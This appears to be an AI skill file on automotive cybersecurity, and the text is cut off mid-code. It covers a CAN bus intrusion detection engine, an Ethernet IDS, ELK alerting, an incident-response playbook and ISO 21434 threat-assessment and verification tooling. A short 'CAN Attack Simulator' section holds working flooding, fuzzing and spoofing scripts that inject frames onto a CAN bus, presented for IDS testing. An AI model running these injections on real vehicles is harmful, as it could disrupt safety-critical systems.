| name | automotive-cybersecurity |
| description | Automotive Cybersecurity expertise. Covers 6 topics: Intrusion Detection Prevention, Iso 21434 Compliance, Penetration Testing Automotive, Secure Boot Chain, Secure Software Development.
|
| tags | ["automotive","automotive-cybersecurity"] |
Automotive Cybersecurity
Intrusion Detection Prevention
Intrusion Detection & Prevention Skill
Overview
Expert skill for implementing IDS/IPS (Intrusion Detection/Prevention Systems) in automotive networks. Covers CAN bus anomaly detection, network traffic analysis, SIEM integration, honeypot deployment, and incident response playbooks.
Core Competencies
IDS/IPS Architecture
- Network-based IDS (NIDS): Monitor CAN, FlexRay, Ethernet traffic
- Host-based IDS (HIDS): Monitor ECU system calls, file integrity
- Anomaly Detection: Machine learning for baseline behavior
- Signature-based Detection: Known attack patterns
- Prevention Mechanisms: Frame filtering, rate limiting, isolation
Detection Techniques
- Statistical Analysis: Abnormal message rates, timing violations
- Protocol Validation: Malformed frames, invalid DLC
- Behavioral Analysis: Unexpected ECU communication patterns
- Entropy Analysis: Randomness in payload data
CAN Bus Intrusion Detection System
CAN IDS Implementation
"""
CAN Bus Intrusion Detection System
Real-time anomaly detection for automotive CAN networks
"""
import can
import time
import statistics
from collections import defaultdict, deque
from datetime import datetime, timedelta
import json
class CANIDSEngine:
"""Core CAN IDS detection engine"""
def __init__(self, can_interface: str = 'can0', window_size: int = 100):
self.interface = can_interface
self.bus = can.interface.Bus(channel=can_interface, bustype='socketcan')
self.msg_stats = defaultdict(lambda: {
'count': 0,
'last_timestamp': None,
'intervals': deque(maxlen=window_size),
'dlc_values': deque(maxlen=window_size),
'payloads': deque(maxlen=window_size)
})
self.baseline = {}
self.alerts = []
print(f"=== CAN IDS Engine Initialized ===")
print(f"[INFO] Interface: {can_interface}")
print(f"[INFO] Window size: {window_size}")
def learn_baseline(self, duration_seconds: int = 300):
"""Learn normal CAN traffic baseline (5 minutes)"""
print(f"\n=== Learning Baseline (mode) ===")
print(f"[INFO] Duration: {duration_seconds} seconds")
print(f"[INFO] Capturing normal traffic...")
start_time = time.time()
message_count = 0
while (time.time() - start_time) < duration_seconds:
msg = self.bus.recv(timeout=1.0)
if msg is None:
continue
self._update_statistics(msg)
message_count += 1
if message_count % 1000 == 0:
elapsed = int(time.time() - start_time)
print(f"[INFO] {message_count} messages captured ({elapsed}s)")
self._compute_baseline()
print(f"\n[PASS] Baseline learning complete")
print(f"[INFO] Total messages: {message_count}")
print(f"[INFO] Unique CAN IDs: {len(self.baseline)}")
def _update_statistics(self, msg: can.Message):
"""Update statistics for received message"""
stats = self.msg_stats[msg.arbitration_id]
stats['count'] += 1
if stats['last_timestamp'] is not None:
interval = msg.timestamp - stats['last_timestamp']
stats['intervals'].append(interval)
stats['last_timestamp'] = msg.timestamp
stats['dlc_values'].append(msg.dlc)
stats['payloads'].append(bytes(msg.data))
def _compute_baseline(self):
"""Compute baseline statistics from learned data"""
print(f"\n[INFO] Computing baseline statistics...")
for can_id, stats in self.msg_stats.items():
if stats['count'] < 10:
continue
intervals = list(stats['intervals'])
interval_mean = statistics.mean(intervals) if intervals else 0
interval_std = statistics.stdev(intervals) if len(intervals) > 1 else 0
dlc_mode = max(set(stats['dlc_values']), key=list(stats['dlc_values']).count)
payloads = list(stats['payloads'])
entropy_mean = statistics.mean([self._calculate_entropy(p) for p in payloads])
self.baseline[can_id] = {
'message_count': stats['count'],
'interval_mean': interval_mean,
'interval_std': interval_std,
'interval_min': interval_mean - (3 * interval_std),
'interval_max': interval_mean + (3 * interval_std),
'expected_dlc': dlc_mode,
'entropy_mean': entropy_mean,
'payloads_sample': payloads[:10]
}
print(f" CAN ID 0x{can_id:03X}: "
f"interval={interval_mean*1000:.2f}ms±{interval_std*1000:.2f}ms, "
f"DLC={dlc_mode}, "
f"entropy={entropy_mean:.2f}")
def _calculate_entropy(self, data: bytes) -> float:
"""Calculate Shannon entropy of payload"""
if len(data) == 0:
return 0.0
from collections import Counter
import math
counter = Counter(data)
length = len(data)
entropy = 0.0
for count in counter.values():
p = count / length
entropy -= p * math.log2(p)
return entropy
def detect_anomalies(self, msg: can.Message) -> list:
"""Detect anomalies in received message"""
anomalies = []
can_id = msg.arbitration_id
if can_id not in self.baseline:
anomalies.append({
'type': 'UNKNOWN_CAN_ID',
'severity': 'HIGH',
'description': f'New CAN ID 0x{can_id:03X} not seen during baseline',
'timestamp': msg.timestamp
})
return anomalies
baseline = self.baseline[can_id]
stats = self.msg_stats[can_id]
if stats['last_timestamp'] is not None:
interval = msg.timestamp - stats['last_timestamp']
if interval < baseline['interval_min']:
anomalies.append({
'type': 'MESSAGE_FLOODING',
'severity': 'HIGH',
'description': f'CAN ID 0x{can_id:03X} flooding: '
f'interval {interval*1000:.2f}ms < expected {baseline["interval_min"]*1000:.2f}ms',
'timestamp': msg.timestamp,
'can_id': can_id
})
elif interval > baseline['interval_max']:
anomalies.append({
'type': 'MESSAGE_SUPPRESSION',
'severity': 'MEDIUM',
'description': f'CAN ID 0x{can_id:03X} delayed: '
f'interval {interval*1000:.2f}ms > expected {baseline["interval_max"]*1000:.2f}ms',
'timestamp': msg.timestamp,
'can_id': can_id
})
if msg.dlc != baseline['expected_dlc']:
anomalies.append({
'type': 'DLC_ANOMALY',
'severity': 'MEDIUM',
'description': f'CAN ID 0x{can_id:03X} unexpected DLC: '
f'{msg.dlc} != expected {baseline["expected_dlc"]}',
'timestamp': msg.timestamp,
'can_id': can_id
})
payload_entropy = self._calculate_entropy(bytes(msg.data))
entropy_diff = abs(payload_entropy - baseline['entropy_mean'])
if entropy_diff > 2.0:
anomalies.append({
'type': 'PAYLOAD_ANOMALY',
'severity': 'HIGH',
'description': f'CAN ID 0x{can_id:03X} unusual payload entropy: '
f'{payload_entropy:.2f} (expected {baseline["entropy_mean"]:.2f})',
'timestamp': msg.timestamp,
'can_id': can_id,
'payload': msg.data.hex()
})
self._update_statistics(msg)
return anomalies
def monitor(self, duration_seconds: int = None, prevention_mode: bool = False):
"""Monitor CAN bus for intrusions"""
print(f"\n=== CAN IDS Monitoring ===")
print(f"[INFO] Prevention mode: {prevention_mode}")
start_time = time.time()
message_count = 0
anomaly_count = 0
try:
while True:
if duration_seconds and (time.time() - start_time) > duration_seconds:
break
msg = self.bus.recv(timeout=1.0)
if msg is None:
continue
message_count += 1
anomalies = self.detect_anomalies(msg)
if anomalies:
anomaly_count += len(anomalies)
for anomaly in anomalies:
self._handle_alert(anomaly, msg, prevention_mode)
if message_count % 5000 == 0:
elapsed = int(time.time() - start_time)
print(f"[INFO] {message_count} messages, {anomaly_count} anomalies ({elapsed}s)")
except KeyboardInterrupt:
print(f"\n[INFO] Monitoring stopped by user")
print(f"\n=== Monitoring Summary ===")
print(f"[INFO] Total messages: {message_count}")
print(f"[INFO] Anomalies detected: {anomaly_count}")
print(f"[INFO] Detection rate: {anomaly_count/message_count*100:.2f}%")
def _handle_alert(self, anomaly: dict, msg: can.Message, prevention_mode: bool):
"""Handle detected anomaly"""
timestamp = datetime.fromtimestamp(anomaly['timestamp']).strftime('%H:%M:%S.%f')[:-3]
print(f"\n[ALERT] {anomaly['severity']} - {anomaly['type']} @ {timestamp}")
print(f" Description: {anomaly['description']}")
print(f" CAN ID: 0x{msg.arbitration_id:03X}, DLC: {msg.dlc}, Data: {msg.data.hex()}")
self.alerts.append(anomaly)
if prevention_mode:
if anomaly['type'] == 'MESSAGE_FLOODING':
print(f" [BLOCK] Rate limiting CAN ID 0x{msg.arbitration_id:03X}")
elif anomaly['type'] == 'UNKNOWN_CAN_ID':
print(f" [BLOCK] Dropping frames from unknown CAN ID 0x{msg.arbitration_id:03X}")
elif anomaly['type'] == 'PAYLOAD_ANOMALY':
print(f" [ISOLATE] Potential fuzzing/injection detected - isolating ECU")
def export_alerts(self, output_file: str):
"""Export alerts to JSON"""
with open(output_file, 'w') as f:
json.dump(self.alerts, f, indent=2)
print(f"[INFO] Alerts exported: {output_file}")
def demo_can_ids():
import os
os.system('sudo modprobe vcan')
os.system('sudo ip link add dev vcan0 type vcan')
os.system('sudo ip link set up vcan0')
print("=== CAN IDS Demo ===")
print("[INFO] Using virtual CAN interface vcan0")
ids = CANIDSEngine(can_interface='vcan0', window_size=50)
print("\n[INFO] Start normal CAN traffic generator in another terminal:")
print(" python3 can_traffic_generator.py --interface vcan0 --scenario normal")
input("\nPress Enter when normal traffic is running...")
ids.learn_baseline(duration_seconds=60)
print("\n[INFO] Now inject attacks using:")
print(" python3 can_attack_simulator.py --interface vcan0 --attack flooding")
input("\nPress Enter to start monitoring...")
ids.monitor(duration_seconds=120, prevention_mode=True)
ids.export_alerts('/tmp/can_ids_alerts.json')
if __name__ == "__main__":
demo_can_ids()
CAN Attack Simulator (for testing)
"""
CAN Attack Simulator for IDS Testing
Generates various attack scenarios
"""
import can
import time
import random
class CANAttackSimulator:
def __init__(self, interface: str = 'vcan0'):
self.bus = can.interface.Bus(channel=interface, bustype='socketcan')
print(f"=== CAN Attack Simulator ===")
print(f"[INFO] Interface: {interface}")
def attack_flooding(self, target_can_id: int = 0x123, duration: int = 10):
"""Message flooding attack"""
print(f"\n[ATTACK] Flooding CAN ID 0x{target_can_id:03X}")
start_time = time.time()
count = 0
while (time.time() - start_time) < duration:
msg = can.Message(
arbitration_id=target_can_id,
data=[0x00] * 8,
is_extended_id=False
)
self.bus.send(msg)
count += 1
print(f"[INFO] Sent {count} messages in {duration}s")
def attack_fuzzing(self, target_can_id: int = 0x456, duration: int = 10):
"""Payload fuzzing attack"""
print(f"\n[ATTACK] Fuzzing CAN ID 0x{target_can_id:03X}")
start_time = time.time()
count = 0
while (time.time() - start_time) < duration:
payload = [random.randint(0, 255) for _ in range(8)]
msg = can.Message(
arbitration_id=target_can_id,
data=payload,
is_extended_id=False
)
self.bus.send(msg)
count += 1
time.sleep(0.01)
print(f"[INFO] Sent {count} fuzzed messages")
def attack_spoofing(self, spoof_can_id: int = 0x789, duration: int = 10):
"""ECU spoofing attack (new CAN ID)"""
print(f"\n[ATTACK] Spoofing new CAN ID 0x{spoof_can_id:03X}")
start_time = time.time()
count = 0
while (time.time() - start_time) < duration:
msg = can.Message(
arbitration_id=spoof_can_id,
data=[0xDE, 0xAD, 0xBE, 0xEF, 0x00, 0x00, 0x00, 0x00],
is_extended_id=False
)
self.bus.send(msg)
count += 1
time.sleep(0.02)
print(f"[INFO] Sent {count} spoofed messages")
if __name__ == "__main__":
import sys
if len(sys.argv) < 3:
print("Usage: python3 can_attack_simulator.py --interface vcan0 --attack [flooding|fuzzing|spoofing]")
sys.exit(1)
interface = sys.argv[2]
attack_type = sys.argv[4]
attacker = CANAttackSimulator(interface=interface)
if attack_type == "flooding":
attacker.attack_flooding(target_can_id=0x123, duration=30)
elif attack_type == "fuzzing":
attacker.attack_fuzzing(target_can_id=0x456, duration=30)
elif attack_type == "spoofing":
attacker.attack_spoofing(spoof_can_id=0x999, duration=30)
else:
print(f"Unknown attack type: {attack_type}")
Ethernet IDS (Gateway/TCU)
"""
Ethernet-based IDS for Automotive Gateway/TCU
Deep packet inspection for HTTP, MQTT, SOME/IP
"""
from scapy.all import sniff, IP, TCP, UDP
from collections import defaultdict
import time
class EthernetIDS:
"""Ethernet network IDS"""
def __init__(self, interface: str = 'eth0'):
self.interface = interface
self.connection_tracker = defaultdict(lambda: {
'count': 0,
'first_seen': None,
'last_seen': None
})
self.alerts = []
print(f"=== Ethernet IDS Initialized ===")
print(f"[INFO] Interface: {interface}")
def packet_callback(self, packet):
"""Process captured packet"""
if IP not in packet:
return
src_ip = packet[IP].src
dst_ip = packet[IP].dst
conn_key = f"{src_ip}:{dst_ip}"
tracker = self.connection_tracker[conn_key]
tracker['count'] += 1
tracker['last_seen'] = time.time()
if tracker['first_seen'] is None:
tracker['first_seen'] = time.time()
if TCP in packet:
self._check_tcp_anomalies(packet)
elif UDP in packet:
self._check_udp_anomalies(packet)
def _check_tcp_anomalies(self, packet):
"""Check for TCP-based attacks"""
tcp = packet[TCP]
if tcp.flags == 'S':
src_ip = packet[IP].src
syn_count = sum(1 for key in self.connection_tracker
if key.startswith(src_ip) and
time.time() - self.connection_tracker[key]['first_seen'] < 10)
if syn_count > 100:
alert = {
'type': 'SYN_FLOOD',
'severity': 'HIGH',
'source': src_ip,
'description': f'Possible SYN flood from {src_ip} ({syn_count} connections in 10s)'
}
self._raise_alert(alert)
dst_port = tcp.dport
if dst_port > 1024:
src_ip = packet[IP].src
unique_ports = len(set(
key.split(':')[1] for key in self.connection_tracker
if key.startswith(src_ip)
))
if unique_ports > 50:
alert = {
'type': 'PORT_SCAN',
'severity': 'MEDIUM',
'source': src_ip,
'description': f'Port scanning detected from {src_ip} ({unique_ports} unique ports)'
}
self._raise_alert(alert)
def _check_udp_anomalies(self, packet):
"""Check for UDP-based attacks"""
udp = packet[UDP]
if udp.dport in [30490, 30491, 30492]:
payload = bytes(packet[UDP].payload)
if len(payload) < 16:
alert = {
'type': 'MALFORMED_SOMEIP',
'severity': 'MEDIUM',
'source': packet[IP].src,
'description': 'Malformed SOME/IP message (too short)'
}
self._raise_alert(alert)
def _raise_alert(self, alert: dict):
"""Raise security alert"""
print(f"\n[ALERT] {alert['severity']} - {alert['type']}")
print(f" {alert['description']}")
self.alerts.append(alert)
def start_monitoring(self, count: int = 1000):
"""Start packet capture"""
print(f"\n[INFO] Starting Ethernet monitoring ({count} packets)...")
sniff(iface=self.interface, prn=self.packet_callback, count=count)
print(f"\n=== Monitoring Complete ===")
print(f"[INFO] Alerts raised: {len(self.alerts)}")
if __name__ == "__main__":
ids = EthernetIDS(interface='eth0')
ids.start_monitoring(count=5000)
SIEM Integration (ELK Stack)
input {
file {
path => "/var/log/can_ids/alerts.json"
start_position => "beginning"
codec => "json"
}
}
filter {
if [type] == "MESSAGE_FLOODING" {
mutate {
add_field => { "severity_score" => 9 }
add_tag => ["dos_attack"]
}
}
if [type] == "PAYLOAD_ANOMALY" {
mutate {
add_field => { "severity_score" => 8 }
add_tag => ["potential_injection"]
}
}
ruby {
code => "event.set('can_id_hex', '0x%03X' % event.get('can_id'))"
}
if [source_ip] {
geoip {
source => "source_ip"
target => "geoip"
}
}
}
output {
elasticsearch {
hosts => ["localhost:9200"]
index => "automotive-ids-%{+YYYY.MM.dd}"
}
if [severity] == "HIGH" {
http {
url => "https://hooks.slack.com/services/YOUR/WEBHOOK/URL"
http_method => "post"
format => "json"
content_type => "application/json"
message => '{
"text": "🚨 CAN IDS Alert: %{type}",
"attachments": [{
"color": "danger",
"fields": [
{"title": "Description", "value": "%{description}"},
{"title": "CAN ID", "value": "%{can_id_hex}"},
{"title": "Timestamp", "value": "%{@timestamp}"}
]
}]
}'
}
}
}
Incident Response Playbook
incident_response:
phase_1_identification:
- alert: "IDS detects anomaly"
- verify: "Confirm alert is not false positive"
- classify: "Determine attack type and severity"
- escalate: "Notify security team and OEM SOC"
phase_2_containment:
short_term:
- action: "Isolate affected ECU/network segment"
- method: "Gateway firewall rules, CAN filters"
- verify: "Confirm attack traffic blocked"
long_term:
- action: "Patch vulnerable software"
- method: "OTA security update"
- timeline: "< 72 hours per UN R155"
phase_3_eradication:
- identify_root_cause: "Vulnerability analysis, forensics"
- remove_threat: "Firmware update, key revocation"
- verify_clean: "Scan for persistence mechanisms"
phase_4_recovery:
- restore_service: "Reboot ECU, restore network"
- validate: "Functional testing, regression testing"
- monitor: "Enhanced monitoring for 7 days"
phase_5_lessons_learned:
- document: "Incident timeline, root cause, actions taken"
- improve: "Update IDS signatures, patch other vehicles"
- report: "Notify regulatory authorities (UN R155 requirement)"
Best Practices
- Layered Defense: Deploy IDS at multiple layers (CAN, Ethernet, application)
- Baseline Learning: Capture 24-hour baseline before production deployment
- False Positive Tuning: Iterate on detection rules to reduce false positives < 1%
- SIEM Integration: Centralize logs for fleet-wide threat intelligence
- Incident Playbooks: Pre-define response procedures for < 15 minute MTTR
References
- NIST SP 800-94: Guide to Intrusion Detection and Prevention Systems
- ISO 21434: Cybersecurity Engineering (Clause 11: Incident Response)
- AUTOSAR SecOC: Secure Onboard Communication specification
- J3061: Cybersecurity Guidebook for Cyber-Physical Vehicle Systems
Iso 21434 Compliance
ISO/SAE 21434 Compliance Skill
Overview
Expert skill for implementing ISO/SAE 21434 cybersecurity engineering standard for road vehicles. Covers CSMS (Cybersecurity Management System), TARA (Threat Analysis and Risk Assessment), cybersecurity concept phase, product development, and operations/maintenance.
Core Competencies
ISO/SAE 21434 Framework
- Cybersecurity Management System (CSMS): Organizational processes, roles, responsibilities
- Concept Phase: Item definition, cybersecurity goals, threat scenarios
- Product Development: Security requirements, architecture design, verification
- Operations & Maintenance: Incident response, vulnerability management, EOL handling
- Supporting Processes: Risk assessment, security testing, change management
TARA Methodology
- Asset Identification: Identify critical assets (ECUs, data, communication channels)
- Threat Scenario Definition: STRIDE/DREAD modeling, attack trees
- Impact Rating: ASIL-D alignment, damage scenarios (safety, financial, operational, privacy)
- Attack Feasibility: Elapsed time, specialist expertise, knowledge of item, window of opportunity, equipment
- Risk Determination: Risk = Impact × Attack Feasibility
- Risk Treatment: Avoid, reduce, share, retain
UN R155 & R156 Alignment
- R155: Cybersecurity management system requirements
- R156: Software update management system requirements
- Type Approval: Demonstration of compliance for vehicle homologation
ISO 21434 Workflow
Phase 1: Concept Phase
item_definition:
item_name: "Telematics Control Unit (TCU)"
item_id: "TCU-2024-001"
description: "4G/5G connected telematics unit with V2X capability"
boundaries:
physical: "TCU ECU, antenna, power supply"
logical: "CAN, Ethernet, cellular modem interfaces"
temporal: "Ignition-on to ignition-off, OTA updates"
assets:
- name: "Vehicle Location Data"
type: "Data"
confidentiality: HIGH
integrity: MEDIUM
availability: MEDIUM
- name: "Firmware Image"
type: "Software"
confidentiality: LOW
integrity: HIGH
availability: HIGH
- name: "Private Key for V2X"
type: "Cryptographic Material"
confidentiality: CRITICAL
integrity: CRITICAL
availability: HIGH
interfaces:
- name: "CAN Bus Interface"
protocol: "CAN 2.0B"
threat_exposure: MEDIUM
security_properties: ["message authentication"]
- name: "Cellular Interface"
protocol: "LTE/5G"
threat_exposure: HIGH
security_properties: ["TLS 1.3", "certificate pinning"]
Phase 2: TARA Execution
"""
ISO 21434 TARA (Threat Analysis and Risk Assessment) Tool
Performs automated threat modeling and risk calculation
"""
from enum import Enum
from dataclasses import dataclass
from typing import List, Dict
import json
class ImpactLevel(Enum):
NEGLIGIBLE = 1
MODERATE = 2
MAJOR = 3
SEVERE = 4
class AttackFeasibility(Enum):
VERY_LOW = 1
LOW = 2
MEDIUM = 3
HIGH = 4
VERY_HIGH = 5
class RiskLevel(Enum):
LOW = 1
MEDIUM = 2
HIGH = 3
VERY_HIGH = 4
@dataclass
class Threat:
threat_id: str
name: str
description: str
threat_type: str
asset: str
impact_safety: ImpactLevel
impact_financial: ImpactLevel
impact_operational: ImpactLevel
impact_privacy: ImpactLevel
elapsed_time: int
specialist_expertise: int
knowledge_of_item: int
window_of_opportunity: int
equipment: int
@dataclass
class RiskAssessment:
threat: Threat
overall_impact: ImpactLevel
attack_feasibility: AttackFeasibility
risk_level: RiskLevel
risk_value: int
treatment: str
justification: str
class TARAEngine:
def __init__(self):
self.threats = []
self.assessments = []
def calculate_attack_feasibility(self, threat: Threat) -> AttackFeasibility:
"""Calculate attack feasibility per ISO 21434 Annex G"""
total_score = (
threat.elapsed_time +
threat.specialist_expertise +
threat.knowledge_of_item +
threat.window_of_opportunity +
threat.equipment
)
if total_score >= 37:
return AttackFeasibility.VERY_LOW
elif total_score >= 25:
return AttackFeasibility.LOW
elif total_score >= 13:
return AttackFeasibility.MEDIUM
elif total_score >= 10:
return AttackFeasibility.HIGH
else:
return AttackFeasibility.VERY_HIGH
def calculate_overall_impact(self, threat: Threat) -> ImpactLevel:
"""Determine worst-case impact across all categories"""
impacts = [
threat.impact_safety,
threat.impact_financial,
threat.impact_operational,
threat.impact_privacy
]
return max(impacts, key=lambda x: x.value)
def determine_risk_level(self, impact: ImpactLevel, feasibility: AttackFeasibility) -> tuple:
"""Map impact and feasibility to risk level (ISO 21434 Table 9)"""
risk_matrix = {
(ImpactLevel.SEVERE, AttackFeasibility.VERY_HIGH): (RiskLevel.VERY_HIGH, 5),
(ImpactLevel.SEVERE, AttackFeasibility.HIGH): (RiskLevel.VERY_HIGH, 5),
(ImpactLevel.SEVERE, AttackFeasibility.MEDIUM): (RiskLevel.HIGH, 4),
(ImpactLevel.SEVERE, AttackFeasibility.LOW): (RiskLevel.MEDIUM, 3),
(ImpactLevel.SEVERE, AttackFeasibility.VERY_LOW): (RiskLevel.LOW, 2),
(ImpactLevel.MAJOR, AttackFeasibility.VERY_HIGH): (RiskLevel.VERY_HIGH, 5),
(ImpactLevel.MAJOR, AttackFeasibility.HIGH): (RiskLevel.HIGH, 4),
(ImpactLevel.MAJOR, AttackFeasibility.MEDIUM): (RiskLevel.MEDIUM, 3),
(ImpactLevel.MAJOR, AttackFeasibility.LOW): (RiskLevel.LOW, 2),
(ImpactLevel.MAJOR, AttackFeasibility.VERY_LOW): (RiskLevel.LOW, 1),
(ImpactLevel.MODERATE, AttackFeasibility.VERY_HIGH): (RiskLevel.HIGH, 4),
(ImpactLevel.MODERATE, AttackFeasibility.HIGH): (RiskLevel.MEDIUM, 3),
(ImpactLevel.MODERATE, AttackFeasibility.MEDIUM): (RiskLevel.MEDIUM, 2),
(ImpactLevel.MODERATE, AttackFeasibility.LOW): (RiskLevel.LOW, 1),
(ImpactLevel.MODERATE, AttackFeasibility.VERY_LOW): (RiskLevel.LOW, 1),
}
key = (impact, feasibility)
return risk_matrix.get(key, (RiskLevel.LOW, 1))
def assess_threat(self, threat: Threat) -> RiskAssessment:
"""Perform complete risk assessment for a threat"""
overall_impact = self.calculate_overall_impact(threat)
attack_feasibility = self.calculate_attack_feasibility(threat)
risk_level, risk_value = self.determine_risk_level(overall_impact, attack_feasibility)
if risk_value >= 4:
treatment = "REDUCE"
justification = "High/Very High risk requires mitigation controls"
elif risk_value >= 3:
treatment = "REDUCE or SHARE"
justification = "Medium risk may require mitigation or transfer"
else:
treatment = "ACCEPT"
justification = "Low risk acceptable with documentation"
assessment = RiskAssessment(
threat=threat,
overall_impact=overall_impact,
attack_feasibility=attack_feasibility,
risk_level=risk_level,
risk_value=risk_value,
treatment=treatment,
justification=justification
)
self.assessments.append(assessment)
return assessment
def generate_report(self, output_file: str):
"""Generate TARA report in JSON format"""
report = {
"tara_metadata": {
"standard": "ISO/SAE 21434:2021",
"version": "1.0",
"date": "2026-03-19",
"total_threats": len(self.assessments)
},
"risk_summary": {
"very_high": sum(1 for a in self.assessments if a.risk_level == RiskLevel.VERY_HIGH),
"high": sum(1 for a in self.assessments if a.risk_level == RiskLevel.HIGH),
"medium": sum(1 for a in self.assessments if a.risk_level == RiskLevel.MEDIUM),
"low": sum(1 for a in self.assessments if a.risk_level == RiskLevel.LOW)
},
"assessments": []
}
for assessment in self.assessments:
report["assessments"].append({
"threat_id": assessment.threat.threat_id,
"threat_name": assessment.threat.name,
"threat_type": assessment.threat.threat_type,
"asset": assessment.threat.asset,
"impact": assessment.overall_impact.name,
"attack_feasibility": assessment.attack_feasibility.name,
"feasibility_score": {
"elapsed_time": assessment.threat.elapsed_time,
"specialist_expertise": assessment.threat.specialist_expertise,
"knowledge_of_item": assessment.threat.knowledge_of_item,
"window_of_opportunity": assessment.threat.window_of_opportunity,
"equipment": assessment.threat.equipment,
"total": sum([
assessment.threat.elapsed_time,
assessment.threat.specialist_expertise,
assessment.threat.knowledge_of_item,
assessment.threat.window_of_opportunity,
assessment.threat.equipment
])
},
"risk_level": assessment.risk_level.name,
"risk_value": assessment.risk_value,
"treatment": assessment.treatment,
"justification": assessment.justification
})
with open(output_file, 'w') as f:
json.dump(report, f, indent=2)
print(f"TARA report generated: {output_file}")
def run_tcu_tara():
tara = TARAEngine()
threat_rce = Threat(
threat_id="T-001",
name="Remote Code Execution via Malicious OTA Update",
description="Attacker injects malicious firmware via compromised OTA server",
threat_type="Tampering",
asset="Firmware Image",
impact_safety=ImpactLevel.SEVERE,
impact_financial=ImpactLevel.MAJOR,
impact_operational=ImpactLevel.SEVERE,
impact_privacy=ImpactLevel.MAJOR,
elapsed_time=13,
specialist_expertise=6,
knowledge_of_item=3,
window_of_opportunity=4,
equipment=4
)
threat_can_injection = Threat(
threat_id="T-002",
name="CAN Bus Message Injection",
description="Attacker with physical access injects spoofed CAN messages",
threat_type="Spoofing",
asset="CAN Bus Interface",
impact_safety=ImpactLevel.MAJOR,
impact_financial=ImpactLevel.MODERATE,
impact_operational=ImpactLevel.MAJOR,
impact_privacy=ImpactLevel.NEGLIGIBLE,
elapsed_time=16,
specialist_expertise=6,
knowledge_of_item=7,
window_of_opportunity=7,
equipment=6
)
threat_cert_theft = Threat(
threat_id="T-003",
name="V2X Certificate Private Key Extraction",
description="Physical attack to extract private key from HSM",
threat_type="Information Disclosure",
asset="Private Key for V2X",
impact_safety=ImpactLevel.MAJOR,
impact_financial=ImpactLevel.SEVERE,
impact_operational=ImpactLevel.MAJOR,
impact_privacy=ImpactLevel.SEVERE,
elapsed_time=7,
specialist_expertise=0,
knowledge_of_item=0,
window_of_opportunity=7,
equipment=0
)
tara.assess_threat(threat_rce)
tara.assess_threat(threat_can_injection)
tara.assess_threat(threat_cert_theft)
tara.generate_report("/tmp/tcu_tara_report.json")
print("\n=== TARA Summary ===")
for assessment in tara.assessments:
print(f"\n{assessment.threat.threat_id}: {assessment.threat.name}")
print(f" Impact: {assessment.overall_impact.name}")
print(f" Attack Feasibility: {assessment.attack_feasibility.name}")
print(f" Risk Level: {assessment.risk_level.name} (Value: {assessment.risk_value})")
print(f" Treatment: {assessment.treatment}")
if __name__ == "__main__":
run_tcu_tara()
Phase 3: Cybersecurity Concept
cybersecurity_concept:
item: "Telematics Control Unit (TCU)"
version: "1.0"
date: "2026-03-19"
cybersecurity_goals:
- id: "CG-001"
description: "Prevent unauthorized firmware modification"
rationale: "Addresses T-001 (Remote Code Execution)"
security_property: "Integrity"
- id: "CG-002"
description: "Prevent CAN message spoofing"
rationale: "Addresses T-002 (CAN Bus Message Injection)"
security_property: "Authenticity"
- id: "CG-003"
description: "Protect V2X private key from extraction"
rationale: "Addresses T-003 (Certificate Theft)"
security_property: "Confidentiality"
cybersecurity_requirements:
- id: "CSR-001"
goal: "CG-001"
description: "Firmware shall be signed with RSA-4096 signature"
verification: "Cryptographic signature verification test"
- id: "CSR-002"
goal: "CG-001"
description: "Secure boot shall verify firmware signature before execution"
verification: "Tampered firmware rejection test"
- id: "CSR-003"
goal: "CG-002"
description: "CAN messages shall include HMAC-SHA256 authentication tag"
verification: "Message authentication test with spoofed frames"
- id: "CSR-004"
goal: "CG-003"
description: "Private keys shall be stored in HSM with no export capability"
verification: "Physical penetration test, key extraction attempt"
- id: "CSR-005"
goal: "CG-003"
description: "Implement side-channel attack countermeasures (timing, power analysis)"
verification: "Differential power analysis (DPA) test"
Phase 4: Cybersecurity Verification
"""
ISO 21434 Cybersecurity Verification Test Suite
Automated validation of cybersecurity requirements
"""
import subprocess
import hashlib
import hmac
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend
import struct
class CybersecurityVerifier:
def __init__(self):
self.test_results = []
def verify_csr_001_firmware_signature(self, firmware_path: str, signature_path: str, pubkey_path: str) -> bool:
"""
CSR-001: Verify firmware is signed with RSA-4096
Returns True if signature valid, False otherwise
"""
print("\n[TEST] CSR-001: Firmware Signature Verification")
try:
with open(pubkey_path, 'rb') as f:
public_key = serialization.load_pem_public_key(f.read(), backend=default_backend())
with open(firmware_path, 'rb') as f:
firmware_data = f.read()
with open(signature_path, 'rb') as f:
signature = f.read()
public_key.verify(
signature,
firmware_data,
padding.PSS(
mgf=padding.MGF1(hashes.SHA256()),
salt_length=padding.PSS.MAX_LENGTH
),
hashes.SHA256()
)
print(" [PASS] Firmware signature valid")
self.test_results.append(("CSR-001", "PASS"))
return True
except Exception as e:
print(f" [FAIL] Signature verification failed: {e}")
self.test_results.append(("CSR-001", "FAIL"))
return False
def verify_csr_002_secure_boot_rejection(self, tampered_firmware_path: str) -> bool:
"""
CSR-002: Verify secure boot rejects tampered firmware
Simulates flashing tampered firmware and checking boot status
"""
print("\n[TEST] CSR-002: Secure Boot Tamper Detection")
try:
result = subprocess.run(
['flash_tool', '--ecu', 'TCU', '--firmware', tampered_firmware_path],
capture_output=True,
text=True,
timeout=30
)
if "SIGNATURE_INVALID" in result.stderr or result.returncode != 0:
print(" [PASS] Secure boot rejected tampered firmware")
self.test_results.append(("CSR-002", "PASS"))
return True
else:
print(" [FAIL] Secure boot accepted tampered firmware")
self.test_results.append(("CSR-002", "FAIL"))
return False
except Exception as e:
print(f" [ERROR] Test execution failed: {e}")
self.test_results.append(("CSR-002", "ERROR"))
return False
def verify_csr_003_can_message_authentication(self, can_interface: str) -> bool:
"""
CSR-003: Verify CAN messages include HMAC authentication
Captures CAN traffic and validates HMAC tags
"""
print("\n[TEST] CSR-003: CAN Message Authentication")
try:
import can
bus = can.interface.Bus(channel=can_interface, bustype='socketcan')
message = bus.recv(timeout=5.0)
if message is None:
print(" [FAIL] No CAN message received")
self.test_results.append(("CSR-003", "FAIL"))
return False
if len(message.data) < 32:
print(" [FAIL] CAN message too short for HMAC")
self.test_results.append(("CSR-003", "FAIL"))
return False
payload = message.data[:-32]
received_hmac = message.data[-32:]
shared_key = b'REPLACE_WITH_PROVISIONED_KEY'
expected_hmac = hmac.new(shared_key, payload, hashlib.sha256).digest()
if hmac.compare_digest(received_hmac, expected_hmac):
print(" [PASS] CAN message HMAC valid")
self.test_results.append(("CSR-003", "PASS"))
return True
else:
